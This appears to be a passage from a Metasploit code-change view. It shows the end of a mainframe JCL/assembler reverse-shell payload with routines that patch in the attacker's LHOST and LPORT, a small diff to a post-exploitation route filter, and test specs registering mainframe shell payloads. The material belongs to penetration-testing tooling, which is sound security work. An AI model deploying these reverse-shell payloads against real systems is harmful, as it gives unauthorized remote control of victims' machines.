"TYPE DC F'0' # sock stream = 1\n" +
"PROTO DC F'0' # protocol ip = 0\n" +
"DIM DC F'0' # dim_sock = 1\n" +
"CLIFD DC F'0' # client file descriptor\n" +
"SR1 DC F'0' # rtn val\n" +
"SR2 DC F'0' # rtn code\n" +
"SR3 DC F'0' # rsn code\n" +
"* # BPX1CON Arguments\n" +
"CLIFD2 DC F'0' # CLIFD\n" +
"SOCKLEN DC F'0' # length of Sock Struct\n" +
"SRVSKT DC XL2'0000' # srv socket struct\n" +
" DC XL2'0000' # port\n" +
" DC XL4'00000000' # RHOST 0.0.0.0\n" +
"CR1 DC F'0' # rtn val\n" +
"CR2 DC F'0' # rtn code\n" +
"CR3 DC F'0' # rsn code\n" +
"SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" +
"EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" +
" END MAIN\n" +
"ZZ\n" +
"//*\n"
}))
end
# replace our own LPORT/LHOST
def replace_var(raw, name, offset, pack)
super
if( name == 'LHOST' and datastore[name] )
val = Rex::Socket.resolv_nbo(datastore[name])
val = val.unpack("H*")[0]
raw[offset, val.length] = val
return true
elsif(name == 'LPORT' and datastore[name] )
val = datastore[name]
val = val.to_s(16).rjust(4,'0')
raw[offset, val.length] = val
return true
else
return false
end
end
end

View File

@ -162,11 +162,9 @@ class MetasploitModule < Msf::Post
def is_routable?(route) def is_routable?(route)
if route.subnet =~ /^224\.|127\./ if route.subnet =~ /^224\.|127\./
return false return false
elsif route.subnet =~ /[\d\.]+\.0$/
return false
elsif route.subnet == '0.0.0.0' elsif route.subnet == '0.0.0.0'
return false return false
elsif route.subnet == '255.255.255.255' elsif route.netmask == '255.255.255.255'
return false return false
end end

View File

@ -398,6 +398,26 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'bsdi/x86/shell_reverse_tcp' reference_name: 'bsdi/x86/shell_reverse_tcp'
end end
context 'cmd/mainframe/generic_jcl' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/cmd/mainframe/generic_jcl'
],
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'cmd/mainframe/generic_jcl'
end
context 'cmd/mainframe/reverse_shell_jcl' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/cmd/mainframe/reverse_shell_jcl'
],
dynamic_size: true,
modules_pathname: modules_pathname,
reference_name: 'cmd/mainframe/reverse_shell_jcl'
end
context 'cmd/unix/bind_awk' do context 'cmd/unix/bind_awk' do
it_should_behave_like 'payload cached size is consistent', it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [ ancestor_reference_names: [